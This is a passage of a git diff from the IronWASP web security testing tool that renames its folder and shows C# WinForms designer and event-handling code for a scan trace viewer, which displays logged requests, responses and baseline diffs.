this.HeadersGrid.Margin = new System.Windows.Forms.Padding(0); + this.HeadersGrid.MultiSelect = false; + this.HeadersGrid.Name = "HeadersGrid"; + this.HeadersGrid.ReadOnly = true; + this.HeadersGrid.RowHeadersVisible = false; + this.HeadersGrid.RowHeadersWidth = 10; + this.HeadersGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.HeadersGrid.Size = new System.Drawing.Size(868, 277); + this.HeadersGrid.TabIndex = 5; + this.HeadersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.HeadersGrid_CellClick); + // + // dataGridViewTextBoxColumn9 + // + this.dataGridViewTextBoxColumn9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn9.HeaderText = "Log ID"; + this.dataGridViewTextBoxColumn9.Name = "dataGridViewTextBoxColumn9"; + this.dataGridViewTextBoxColumn9.ReadOnly = true; + this.dataGridViewTextBoxColumn9.Width = 60; + // + // dataGridViewTextBoxColumn10 + // + this.dataGridViewTextBoxColumn10.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + dataGridViewCellStyle17.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.dataGridViewTextBoxColumn10.DefaultCellStyle = dataGridViewCellStyle17; + this.dataGridViewTextBoxColumn10.FillWeight = 101.5228F; + this.dataGridViewTextBoxColumn10.HeaderText = "Response Header Name"; + this.dataGridViewTextBoxColumn10.Name = "dataGridViewTextBoxColumn10"; + this.dataGridViewTextBoxColumn10.ReadOnly = true; + this.dataGridViewTextBoxColumn10.Width = 149; + // + // dataGridViewTextBoxColumn16 + // + this.dataGridViewTextBoxColumn16.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + dataGridViewCellStyle18.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.dataGridViewTextBoxColumn16.DefaultCellStyle = dataGridViewCellStyle18; + this.dataGridViewTextBoxColumn16.FillWeight = 1F; + this.dataGridViewTextBoxColumn16.HeaderText = "Variation"; + this.dataGridViewTextBoxColumn16.Name = "dataGridViewTextBoxColumn16"; + this.dataGridViewTextBoxColumn16.ReadOnly = true; + this.dataGridViewTextBoxColumn16.Width = 400; + // + // dataGridViewTextBoxColumn1 + // + this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn1.FillWeight = 98.47716F; + this.dataGridViewTextBoxColumn1.HeaderText = "Payload"; + this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; + this.dataGridViewTextBoxColumn1.ReadOnly = true; + // + // TimeTab + // + this.TimeTab.Controls.Add(this.RoundtripGrid); + this.TimeTab.Location = new System.Drawing.Point(4, 22); + this.TimeTab.Name = "TimeTab"; + this.TimeTab.Size = new System.Drawing.Size(868, 277); + this.TimeTab.TabIndex = 5; + this.TimeTab.Text = " Time Variation "; + this.TimeTab.UseVisualStyleBackColor = true; + // + // RoundtripGrid + // + this.RoundtripGrid.AllowUserToAddRows = false; + this.RoundtripGrid.AllowUserToDeleteRows = false; + this.RoundtripGrid.AllowUserToOrderColumns = true; + this.RoundtripGrid.AllowUserToResizeRows = false; + this.RoundtripGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.RoundtripGrid.BackgroundColor = System.Drawing.Color.White; + this.RoundtripGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle19.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle19.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle19.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle19.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle19.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle19.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle19.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.RoundtripGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle19; + this.RoundtripGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.RoundtripGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn11, + this.dataGridViewTextBoxColumn12, + this.dataGridViewTextBoxColumn23}); + this.RoundtripGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.RoundtripGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.RoundtripGrid.GridColor = System.Drawing.Color.White; + this.RoundtripGrid.Location = new System.Drawing.Point(0, 0); + this.RoundtripGrid.Margin = new System.Windows.Forms.Padding(0); + this.RoundtripGrid.MultiSelect = false; + this.RoundtripGrid.Name = "RoundtripGrid"; + this.RoundtripGrid.ReadOnly = true; + this.RoundtripGrid.RowHeadersVisible = false; + this.RoundtripGrid.RowHeadersWidth = 10; + this.RoundtripGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.RoundtripGrid.Size = new System.Drawing.Size(868, 277); + this.RoundtripGrid.TabIndex = 5; + this.RoundtripGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.RoundtripGrid_CellClick); + // + // dataGridViewTextBoxColumn11 + // + this.dataGridViewTextBoxColumn11.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn11.HeaderText = "Log ID"; + this.dataGridViewTextBoxColumn11.Name = "dataGridViewTextBoxColumn11"; + this.dataGridViewTextBoxColumn11.ReadOnly = true; + this.dataGridViewTextBoxColumn11.Width = 60; + // + // dataGridViewTextBoxColumn12 + // + this.dataGridViewTextBoxColumn12.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + dataGridViewCellStyle20.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.dataGridViewTextBoxColumn12.DefaultCellStyle = dataGridViewCellStyle20; + this.dataGridViewTextBoxColumn12.FillWeight = 101.5228F; + this.dataGridViewTextBoxColumn12.HeaderText = "Response Roundtrip Time Variation"; + this.dataGridViewTextBoxColumn12.Name = "dataGridViewTextBoxColumn12"; + this.dataGridViewTextBoxColumn12.ReadOnly = true; + this.dataGridViewTextBoxColumn12.Width = 200; + // + // dataGridViewTextBoxColumn23 + // + this.dataGridViewTextBoxColumn23.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn23.FillWeight = 98.47716F; + this.dataGridViewTextBoxColumn23.HeaderText = "Payload"; + this.dataGridViewTextBoxColumn23.Name = "dataGridViewTextBoxColumn23"; + this.dataGridViewTextBoxColumn23.ReadOnly = true; + // + // ScanTraceHelpTab + // + this.ScanTraceHelpTab.Controls.Add(this.textBox1); + this.ScanTraceHelpTab.Location = new System.Drawing.Point(4, 22); + this.ScanTraceHelpTab.Name = "ScanTraceHelpTab"; + this.ScanTraceHelpTab.Size = new System.Drawing.Size(876, 303); + this.ScanTraceHelpTab.TabIndex = 3; + this.ScanTraceHelpTab.Text = " Help "; + this.ScanTraceHelpTab.UseVisualStyleBackColor = true; + // + // textBox1 + // + this.textBox1.BackColor = System.Drawing.Color.White; + this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox1.Cursor = System.Windows.Forms.Cursors.Arrow; + this.textBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.textBox1.Location = new System.Drawing.Point(0, 0); + this.textBox1.Multiline = true; + this.textBox1.Name = "textBox1"; + this.textBox1.ReadOnly = true; + this.textBox1.Size = new System.Drawing.Size(876, 303); + this.textBox1.TabIndex = 0; + this.textBox1.Text = resources.GetString("textBox1.Text"); + // + // LoadLogProgressBar + // + this.LoadLogProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.LoadLogProgressBar.Location = new System.Drawing.Point(303, 45); + this.LoadLogProgressBar.MarqueeAnimationSpeed = 10; + this.LoadLogProgressBar.Name = "LoadLogProgressBar"; + this.LoadLogProgressBar.Size = new System.Drawing.Size(236, 23); + this.LoadLogProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.LoadLogProgressBar.TabIndex = 33; + this.LoadLogProgressBar.Visible = false; + // + // LogDisplayTabs + // + this.LogDisplayTabs.Controls.Add(this.tabPage12); + this.LogDisplayTabs.Controls.Add(this.tabPage29); + this.LogDisplayTabs.Controls.Add(this.tabPage1); + this.LogDisplayTabs.Controls.Add(this.tabPage2); + this.LogDisplayTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.LogDisplayTabs.Location = new System.Drawing.Point(0, 0); + this.LogDisplayTabs.Margin = new System.Windows.Forms.Padding(0); + this.LogDisplayTabs.Name = "LogDisplayTabs"; + this.LogDisplayTabs.Padding = new System.Drawing.Point(0, 0); + this.LogDisplayTabs.SelectedIndex = 0; + this.LogDisplayTabs.Size = new System.Drawing.Size(884, 228); + this.LogDisplayTabs.TabIndex = 4; + // + // tabPage12 + // + this.tabPage12.Controls.Add(this.RequestView); + this.tabPage12.Location = new System.Drawing.Point(4, 22); + this.tabPage12.Margin = new System.Windows.Forms.Padding(0); + this.tabPage12.Name = "tabPage12"; + this.tabPage12.Size = new System.Drawing.Size(876, 202); + this.tabPage12.TabIndex = 0; + this.tabPage12.Text = " Request "; + this.tabPage12.UseVisualStyleBackColor = true; + // + // tabPage29 + // + this.tabPage29.Controls.Add(this.ResponseView); + this.tabPage29.Location = new System.Drawing.Point(4, 22); + this.tabPage29.Margin = new System.Windows.Forms.Padding(0); + this.tabPage29.Name = "tabPage29"; + this.tabPage29.Size = new System.Drawing.Size(876, 202); + this.tabPage29.TabIndex = 1; + this.tabPage29.Text = " Response "; + this.tabPage29.UseVisualStyleBackColor = true; + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.tabControl5); + this.tabPage1.Location = new System.Drawing.Point(4, 22); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Size = new System.Drawing.Size(876, 202); + this.tabPage1.TabIndex = 2; + this.tabPage1.Text = " Diff of Baseline Request/Response vs Selected Request/Response "; + this.tabPage1.UseVisualStyleBackColor = true; + // + // tabControl5 + // + this.tabControl5.Controls.Add(this.tabPage19); + this.tabControl5.Controls.Add(this.tabPage22); + this.tabControl5.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl5.Location = new System.Drawing.Point(0, 0); + this.tabControl5.Margin = new System.Windows.Forms.Padding(0); + this.tabControl5.Name = "tabControl5"; + this.tabControl5.Padding = new System.Drawing.Point(0, 0); + this.tabControl5.SelectedIndex = 0; + this.tabControl5.Size = new System.Drawing.Size(876, 202); + this.tabControl5.TabIndex = 6; + // + // tabPage19 + // + this.tabPage19.Controls.Add(this.RequestDRV); + this.tabPage19.Location = new System.Drawing.Point(4, 22); + this.tabPage19.Margin = new System.Windows.Forms.Padding(0); + this.tabPage19.Name = "tabPage19"; + this.tabPage19.Size = new System.Drawing.Size(868, 176); + this.tabPage19.TabIndex = 0; + this.tabPage19.Text = " Request Diff "; + this.tabPage19.UseVisualStyleBackColor = true; + // + // tabPage22 + // + this.tabPage22.Controls.Add(this.ResponseDRV); + this.tabPage22.Location = new System.Drawing.Point(4, 22); + this.tabPage22.Margin = new System.Windows.Forms.Padding(0); + this.tabPage22.Name = "tabPage22"; + this.tabPage22.Size = new System.Drawing.Size(868, 176); + this.tabPage22.TabIndex = 1; + this.tabPage22.Text = " Response Diff "; + this.tabPage22.UseVisualStyleBackColor = true; + // + // tabPage2 + // + this.tabPage2.Controls.Add(this.ScriptedTestRequestBtn); + this.tabPage2.Controls.Add(this.ManualTestRequestBtn); + this.tabPage2.Location = new System.Drawing.Point(4, 22); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Size = new System.Drawing.Size(876, 202); + this.tabPage2.TabIndex = 3; + this.tabPage2.Text = " Testing Options "; + this.tabPage2.UseVisualStyleBackColor = true; + // + // ScriptedTestRequestBtn + // + this.ScriptedTestRequestBtn.BackColor = System.Drawing.Color.White; + this.ScriptedTestRequestBtn.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScriptedTestRequestBtn.DetectUrls = false; + this.ScriptedTestRequestBtn.Location = new System.Drawing.Point(19, 58); + this.ScriptedTestRequestBtn.Name = "ScriptedTestRequestBtn"; + this.ScriptedTestRequestBtn.ReadOnly = true; + this.ScriptedTestRequestBtn.Size = new System.Drawing.Size(577, 132); + this.ScriptedTestRequestBtn.TabIndex = 2; + this.ScriptedTestRequestBtn.Text = ""; + // + // ManualTestRequestBtn + // + this.ManualTestRequestBtn.Enabled = false; + this.ManualTestRequestBtn.Location = new System.Drawing.Point(17, 23); + this.ManualTestRequestBtn.Name = "ManualTestRequestBtn"; + this.ManualTestRequestBtn.Size = new System.Drawing.Size(276, 23); + this.ManualTestRequestBtn.TabIndex = 0; + this.ManualTestRequestBtn.Text = "Send the selected Request to Manual Testing section"; + this.ManualTestRequestBtn.UseVisualStyleBackColor = true; + this.ManualTestRequestBtn.Click += new System.EventHandler(this.ManualTestRequestBtn_Click); + // + // MainLoadProgressBar + // + this.MainLoadProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.MainLoadProgressBar.Location = new System.Drawing.Point(235, 21); + this.MainLoadProgressBar.MarqueeAnimationSpeed = 10; + this.MainLoadProgressBar.Name = "MainLoadProgressBar"; + this.MainLoadProgressBar.Size = new System.Drawing.Size(431, 23); + this.MainLoadProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.MainLoadProgressBar.TabIndex = 34; + this.MainLoadProgressBar.Visible = false; + // + // RequestView + // + this.RequestView.BackColor = System.Drawing.Color.White; + this.RequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.RequestView.Location = new System.Drawing.Point(0, 0); + this.RequestView.Margin = new System.Windows.Forms.Padding(0); + this.RequestView.Name = "RequestView"; + this.RequestView.ReadOnly = true; + this.RequestView.Size = new System.Drawing.Size(876, 202); + this.RequestView.TabIndex = 0; + // + // ResponseView + // + this.ResponseView.BackColor = System.Drawing.Color.White; + this.ResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResponseView.IncludeReflectionTab = true; + this.ResponseView.Location = new System.Drawing.Point(0, 0); + this.ResponseView.Margin = new System.Windows.Forms.Padding(0); + this.ResponseView.Name = "ResponseView"; + this.ResponseView.ReadOnly = true; + this.ResponseView.Size = new System.Drawing.Size(876, 202); + this.ResponseView.TabIndex = 0; + // + // RequestDRV + // + this.RequestDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.RequestDRV.Location = new System.Drawing.Point(0, 0); + this.RequestDRV.Margin = new System.Windows.Forms.Padding(0); + this.RequestDRV.Name = "RequestDRV"; + this.RequestDRV.Size = new System.Drawing.Size(868, 176); + this.RequestDRV.TabIndex = 0; + // + // ResponseDRV + // + this.ResponseDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResponseDRV.Location = new System.Drawing.Point(0, 0); + this.ResponseDRV.Margin = new System.Windows.Forms.Padding(0); + this.ResponseDRV.Name = "ResponseDRV"; + this.ResponseDRV.Size = new System.Drawing.Size(868, 176); + this.ResponseDRV.TabIndex = 1; + // + // LogTraceViewer + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(884, 561); + this.Controls.Add(this.MainLoadProgressBar); + this.Controls.Add(this.BaseSplit); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "LogTraceViewer"; + this.Text = "Click on a Trace Row to view Request/Response"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.LogTraceViewer_FormClosing); + this.Load += new System.EventHandler(this.LogTraceViewer_Load); + this.BaseSplit.Panel1.ResumeLayout(false); + this.BaseSplit.Panel2.ResumeLayout(false); + this.BaseSplit.ResumeLayout(false); + this.ScanTraceTabs.ResumeLayout(false); + this.ScanTraceOverviewTab.ResumeLayout(false); + this.ScanTraceOverviewTab.PerformLayout(); + this.groupBox1.ResumeLayout(false); + this.groupBox1.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanTraceOverviewGrid)).EndInit(); + this.ScanTraceDetailedInfoTab.ResumeLayout(false); + this.ScanTracePayloadEffectTab.ResumeLayout(false); + this.PayloadEffectTabs.ResumeLayout(false); + this.SummaryTab.ResumeLayout(false); + this.CodeTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.CodeGrid)).EndInit(); + this.KeywordsTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.KeywordsGrid)).EndInit(); + this.BodyTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.BodyGrid)).EndInit(); + this.SetCookieTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.SetCookieGrid)).EndInit(); + this.HeadersTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.HeadersGrid)).EndInit(); + this.TimeTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.RoundtripGrid)).EndInit(); + this.ScanTraceHelpTab.ResumeLayout(false); + this.ScanTraceHelpTab.PerformLayout(); + this.LogDisplayTabs.ResumeLayout(false); + this.tabPage12.ResumeLayout(false); + this.tabPage29.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.tabControl5.ResumeLayout(false); + this.tabPage19.ResumeLayout(false); + this.tabPage22.ResumeLayout(false); + this.tabPage2.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer BaseSplit; + private System.Windows.Forms.ProgressBar LoadLogProgressBar; + internal System.Windows.Forms.TabControl LogDisplayTabs; + private System.Windows.Forms.TabPage tabPage12; + internal RequestView RequestView; + private System.Windows.Forms.TabPage tabPage29; + internal ResponseView ResponseView; + private System.Windows.Forms.TabControl ScanTraceTabs; + private System.Windows.Forms.TabPage ScanTraceOverviewTab; + internal System.Windows.Forms.DataGridView ScanTraceOverviewGrid; + private System.Windows.Forms.TabPage ScanTraceDetailedInfoTab; + internal System.Windows.Forms.RichTextBox ScanTraceMsgRTB; + private System.Windows.Forms.Button DoDiffBtn; + private System.Windows.Forms.TabPage ScanTracePayloadEffectTab; + internal System.Windows.Forms.TabControl PayloadEffectTabs; + private System.Windows.Forms.TabPage SummaryTab; + internal System.Windows.Forms.RichTextBox SummaryRTB; + private System.Windows.Forms.TabPage CodeTab; + internal System.Windows.Forms.DataGridView CodeGrid; + private System.Windows.Forms.DataGridViewTextBoxColumn Column2; + private System.Windows.Forms.DataGridViewTextBoxColumn Column1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn3; + private System.Windows.Forms.TabPage KeywordsTab; + internal System.Windows.Forms.DataGridView KeywordsGrid; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn4; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn13; + private System.Windows.Forms.TabPage BodyTab; + internal System.Windows.Forms.DataGridView BodyGrid; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn5; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn6; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn14; + private System.Windows.Forms.TabPage SetCookieTab; + internal System.Windows.Forms.DataGridView SetCookieGrid; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn7; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn8; + private System.Windows.Forms.DataGridViewTextBoxColumn Column3; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn15; + private System.Windows.Forms.TabPage HeadersTab; + internal System.Windows.Forms.DataGridView HeadersGrid; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn9; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn10; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn16; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; + private System.Windows.Forms.TabPage TimeTab; + internal System.Windows.Forms.DataGridView RoundtripGrid; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn11; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn12; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn23; + private System.Windows.Forms.ProgressBar AnalysisProgressBar; + private System.Windows.Forms.RadioButton DisplayFilterAllRB; + private System.Windows.Forms.RadioButton DisplayFilterLogsOnlyRB; + private System.Windows.Forms.GroupBox groupBox1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TabPage ScanTraceHelpTab; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.DataGridViewCheckBoxColumn SelectClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn Column4; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn17; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn18; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn19; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn20; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn21; + private System.Windows.Forms.DataGridViewTextBoxColumn Column5; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn22; + private System.Windows.Forms.DataGridViewTextBoxColumn Column6; + private System.Windows.Forms.TabPage tabPage1; + internal System.Windows.Forms.TabControl tabControl5; + private System.Windows.Forms.TabPage tabPage19; + private DiffResultView RequestDRV; + private System.Windows.Forms.TabPage tabPage22; + private DiffResultView ResponseDRV; + private System.Windows.Forms.ProgressBar MainLoadProgressBar; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.Button ManualTestRequestBtn; + internal System.Windows.Forms.RichTextBox ScriptedTestRequestBtn; + private System.Windows.Forms.Label label3; + } } \ No newline at end of file diff --git a/IronWASP/LogTraceViewer.cs b/Iron/LogTraceViewer.cs similarity index 95% rename from IronWASP/LogTraceViewer.cs rename to Iron/LogTraceViewer.cs index 204a47c..9bf9e04 100644 --- a/IronWASP/LogTraceViewer.cs +++ b/Iron/LogTraceViewer.cs @@ -1,580 +1,596 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.Threading; - -namespace IronWASP -{ - public partial class LogTraceViewer : Form - { - Thread LogLoadThread; - Thread AnalysisThread; - - int SelectedRowsCount = 0; - - int TraceId = 0; - IronTrace Trace; - ScanTraceBehaviourAnalysisResultsUiInformation UiResults; - - int BaselineLogId = 0; - Session BaselineSession; - - internal LogTraceViewer(int TraceId) - { - this.TraceId = TraceId; - InitializeComponent(); - } - - internal LogTraceViewer(IronTrace Trace) - { - this.Trace = Trace; - InitializeComponent(); - } - - internal LogTraceViewer(int TraceId, ScanTraceBehaviourAnalysisResultsUiInformation UiResults) - { - this.TraceId = TraceId; - this.UiResults = UiResults; - InitializeComponent(); - } - - private void ScanTraceOverviewGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ScanTraceOverviewGrid.SelectedRows == null) return; - if (ScanTraceOverviewGrid.SelectedRows.Count == 0) return; - if (ScanTraceOverviewGrid.SelectedRows[0].Cells[2].Value == null) return; - - if (e.ColumnIndex == 0)// ClickActionSelectLogRB.Checked) - { - ScanTraceOverviewGrid.SelectedRows[0].Cells[0].Value = !((bool)ScanTraceOverviewGrid.SelectedRows[0].Cells[0].Value); - if ((bool)ScanTraceOverviewGrid.SelectedRows[0].Cells[0].Value) - { - SelectedRowsCount++; - } - else - { - SelectedRowsCount--; - } - if (SelectedRowsCount > 0) - { - DoDiffBtn.Enabled = true; - } - else - { - DoDiffBtn.Enabled = false; - } - } - else - { - try - { - int LogId = Int32.Parse(ScanTraceOverviewGrid.SelectedCells[2].Value.ToString()); - if (BaselineLogId == 0) - { - if (ScanTraceOverviewGrid.Rows.Count > 0 && ScanTraceOverviewGrid.Rows[0].Cells[2].Value != null) - { - BaselineLogId = Int32.Parse(ScanTraceOverviewGrid.Rows[0].Cells[2].Value.ToString()); - } - } - ShowSelectedLog(LogId); - } - catch { } - } - } - void ShowSelectedLog(int LogId) - { - LogDisplayTabs.Visible = false; - LoadLogProgressBar.Visible = true; - - RequestView.ClearRequest(); - ResponseView.ClearResponse(); - RequestDRV.ClearDiffResults(); - ResponseDRV.ClearDiffResults(); - - if (LogLoadThread != null) - { - try - { - LogLoadThread.Abort(); - } - catch { } - } - LogLoadThread = new Thread(ShowSelectedLog); - LogLoadThread.Start(LogId); - } - - void ShowSelectedLog(object SelectedLogInfoObject) - { - int LogId = (int)SelectedLogInfoObject; - bool EnableBtn = false; - string ScriptCode = ""; - - try - { - Session Session = Session.FromScanLog(LogId); - if (BaselineSession == null && BaselineLogId > 0) - { - BaselineSession = Session.FromScanLog(BaselineLogId); - } - - StringBuilder SB = new StringBuilder(">To access the selected Request in the IronWASP Scripting shell for fuzzing or testing use the following code:>"); - SB.Append(string.Format(">>Python:>>req = >Request>.>FromScanLog>({0})", LogId)); - SB.Append(string.Format(">>>Ruby:>>req = >Request>.>from_scan_log>({0})", LogId)); - ScriptCode = SB.ToString(); - - SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;\red255\green255\blue255;}"); - SB.Append(Tools.RtfSafe(ScriptCode)); - ScriptCode = SB.ToString(); - ScriptCode = ScriptCode.Replace(" . ", ".").Replace(" (", "(").Replace("Request ", "Request").Replace(" From", "From").Replace(" from", "from").Replace("Log ", "Log").Replace("log ", "log"); - - string RequestStr = ""; - string ResponseStr = ""; - string BaselineRequestStr = ""; - string BaselineResponseStr = ""; - - if (Session.Request != null) - { - RequestStr = Session.Request.ToString(); - RequestView.SetRequest(Session.Request); - EnableBtn = true; - - if (Session.Response != null) - { - ResponseStr = Session.Response.ToString(); - ResponseView.SetResponse(Session.Response, Session.Request); - } - } - if (BaselineSession != null) - { - if (BaselineSession.Request != null) - { - BaselineRequestStr = BaselineSession.Request.ToString(); - if (BaselineSession.Response != null) - { - BaselineResponseStr = BaselineSession.Response.ToString(); - } - } - } - - - string[] RequestSidebySideResults = DiffWindow.DoSideBySideDiff(BaselineRequestStr, RequestStr); - string[] ResponseSidebySideResults = DiffWindow.DoSideBySideDiff(BaselineResponseStr, ResponseStr); - - string RequestSinglePageResults = DiffWindow.DoSinglePageDiff(BaselineRequestStr, RequestStr); - string ResponseSinglePageResults = DiffWindow.DoSinglePageDiff(BaselineResponseStr, ResponseStr); - - RequestDRV.ShowDiffResults(RequestSinglePageResults, RequestSidebySideResults[0], RequestSidebySideResults[1]); - ResponseDRV.ShowDiffResults(ResponseSinglePageResults, ResponseSidebySideResults[0], ResponseSidebySideResults[1]); - - } - catch (ThreadAbortException) { } - catch (Exception Exp) { IronException.Report("Error loading Selected Log info in Scan Trace Viewer", Exp); } - finally - { - EndLogLoad(EnableBtn, ScriptCode); - } - } - - delegate void EndLogLoad_d(bool EnableBtn, string ScriptRtf); - void EndLogLoad(bool EnableBtn, string ScriptRtf) - { - if (ScanTraceOverviewGrid.InvokeRequired) - { - EndLogLoad_d CALL_d = new EndLogLoad_d(EndLogLoad); - ScanTraceOverviewGrid.Invoke(CALL_d, new object[] { EnableBtn, ScriptRtf }); - } - else - { - LoadLogProgressBar.Visible = false; - LogDisplayTabs.Visible = true; - ManualTestRequestBtn.Enabled = EnableBtn; - ScriptedTestRequestBtn.Rtf = ScriptRtf; - } - } - - private void LogTraceViewer_FormClosing(object sender, FormClosingEventArgs e) - { - try - { - LogLoadThread.Abort(); - } - catch { } - try - { - AnalysisThread.Abort(); - } - catch { } - } - - private void DoDiffBtn_Click(object sender, EventArgs e) - { - if (SelectedRowsCount == 2) - { - int ALogId = -1; - int BLogId = -1; - foreach (DataGridViewRow Row in ScanTraceOverviewGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - if (ALogId == -1) - { - try - { - ALogId = Int32.Parse(Row.Cells[2].Value.ToString()); - } - catch { } - } - else if (BLogId == -1) - { - try - { - BLogId = Int32.Parse(Row.Cells[2].Value.ToString()); - } - catch { } - break; - } - } - } - SessionsDiffer Sdiff = 